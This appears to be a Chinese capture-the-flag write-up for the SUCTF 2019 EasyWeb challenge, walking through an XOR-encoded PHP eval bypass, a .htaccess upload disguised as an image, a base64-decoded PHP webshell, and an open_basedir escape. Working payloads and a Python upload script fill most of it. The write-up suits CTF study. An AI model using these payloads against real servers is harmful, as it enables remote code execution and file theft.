[BUUCTF][SUCTF 2019]EasyWeb

[SUCTF 2019]EasyWeb

 <?php
function get_the_flag(){
    // webadmin will remove your upload file every 20 min!!!! 
    $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
    if(!file_exists($userdir)){
    mkdir($userdir);
    }
    if(!empty($_FILES["file"])){
        $tmp_name = $_FILES["file"]["tmp_name"];
        $name = $_FILES["file"]["name"];
        $extension = substr($name, strrpos($name,".")+1);
    if(preg_match("/ph/i",$extension)) die("^_^"); 
        if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
    if(!exif_imagetype($tmp_name)) die("^_^"); 
        $path= $userdir."/".$name;
        @move_uploaded_file($tmp_name, $path);
        print_r($path);
    }
}

$hhh = @$_GET['_'];

if (!$hhh){
    highlight_file(__FILE__);
}

if(strlen($hhh)>18){
    die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
    die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

审计代码,第一步需要绕过正则来构造webshell,考虑取反或者异或,这里取反被ban了,所以使用异或

<?php
$l = "";
$r = "";
$argv = str_split("_GET");
for($i=0;$i<count($argv);$i++)
{
    for($j=0;$j<255;$j++)
    {
        $k = chr($j)^chr(255);      //dechex(255) = ff
        if($k == $argv[$i]){
            if($j<16){
                $l .= "%ff";
                $r .= "%0" . dechex($j);
                continue;
            }
            $l .= "%ff";
            $r .= "%" . dechex($j);
            continue;
        }
    }
}
echo "\{$l^$r}";
?>

所以

?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo     //${_GET}{%ff}()

这里值得注意的是${_GET}{%ff}就等于$_GET[%ff],%ff是一个字符虽然没有被引号引起来但是php也不会将他看成变量,这就是为什么$_GET[cmd]=$_GET["cmd"]

我们可以通过这个来执行get_the_flag

?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag

审计函数

function get_the_flag(){
    // webadmin will remove your upload file every 20 min!!!! 
    $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
    if(!file_exists($userdir)){
    mkdir($userdir);
    }
    if(!empty($_FILES["file"])){
        $tmp_name = $_FILES["file"]["tmp_name"];
        $name = $_FILES["file"]["name"];
        $extension = substr($name, strrpos($name,".")+1);
    if(preg_match("/ph/i",$extension)) die("^_^"); 
        if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
    if(!exif_imagetype($tmp_name)) die("^_^"); 
        $path= $userdir."/".$name;
        @move_uploaded_file($tmp_name, $path);
        print_r($path);
    }
}

过滤了ph<?,那么我们想到通过.htaccess.user.ini来包含php文件,由于服务器是apache,我们使用.htaccess

exif_imagetype() 读取一个图像的第一个字节并检查其签名。

开始想的是在文件前加一个GIF89a,但在.htaccess文件中直接用GIF89a无效,使用如下方法:

1.
#define width 1337
#define height 1337
2.
在.htaccess前添加x00x00x8ax39x8ax39(要在十六进制编辑器中添加,或者使用python的bytes类型)
x00x00x8ax39x8ax39 是wbmp文件的文件头
.htaccess中以0x00开头的同样也是注释符,所以不会影响.htaccess

那么上传的.htaccess文件内容为

#define width 1337
#define height 1337 
AddType application/x-httpd-php .sss
php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.sss"

由于<script language="php"></script>这种写法在PHP7以后就不支持,所以我们利用auto_append_file来包含b64解码的shell.sss,这样往shell.sss里面写b64解密后的马,就可以绕过<?的过滤。

我们使用脚本来传文件

import requests
import base64

htaccess = b"""
#define width 1337
#define height 1337 
AddType application/x-httpd-php .sss
php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.sss"
"""
shell = b"GIF89a11" + base64.b64encode(b"<?php eval($_POST['cmd']);?>")  #GIF89后的11是为了满足base64编码
url = "http://4f9a3024-f86c-4660-b784-2484a174f2e8.node4.buuoj.cn:81/?_=${%86%86%86%86^%d9%c1%c3%d2}{%86}();&%86=get_the_flag"

files = {'file':('.htaccess',htaccess,'image/jpeg')}
data = {"upload":"Submit"}
response = requests.post(url=url, data=data, files=files)
print(response.text)

files = {'file':('shell.sss',shell,'image/jpeg')}
response = requests.post(url=url, data=data, files=files)
print(response.text)

在上传之后就可以通过蚁剑连接,但我们发现不能访问其他目录。查看phpinfo之后发现有open_basedir

image-20211031005004125

方法一:

利用蚁剑插件,选择PHP7 GC with Certain Destructors UAF

image-20211031005715719

然后在根目录发现flag

方法二:

  • 首先构造一个相对可以上跳的open_basedir 入mkdir('lin'); chdir('lin') ,当然我们这里有上跳的路径我们直接 chdir("img")
  • 然后每次操作chdir("..")都会进一次open_basedir的比对由于相对路径的问题,每次open_basedir的补全都会上跳。
  • 比如初试open_basedir为/a/b/c/d:
  • 第一次chdir后变为/a/b/c,第二次chdir后变为/a/b,第三次chdir后变为/a 第四次chdir后变为/
  • 那么这时候再进行ini_set,调整open_basedir为/即可通过php_check_open_basedir_ex的校验,成功覆盖,导致我们可以bypass open_basedir。
mkdir('lin');
chdir('lin');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');
var_dump(scandir('/'));

最终

http://4f9a3024-f86c-4660-b784-2484a174f2e8.node4.buuoj.cn:81/upload/tmp_748d23022d8d3f4b52ee6d0cf1b1d0df/shell.sss?cmd=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('/THis_Is_tHe_F14g'));

参考文章:

https://xz.aliyun.com/t/4720

从PHP底层看open_basedir bypass

https://blog.youkuaiyun.com/rfrder/article/details/111207725

https://blog.youkuaiyun.com/weixin_45646006/article/details/120245422

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Snakin_ya

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值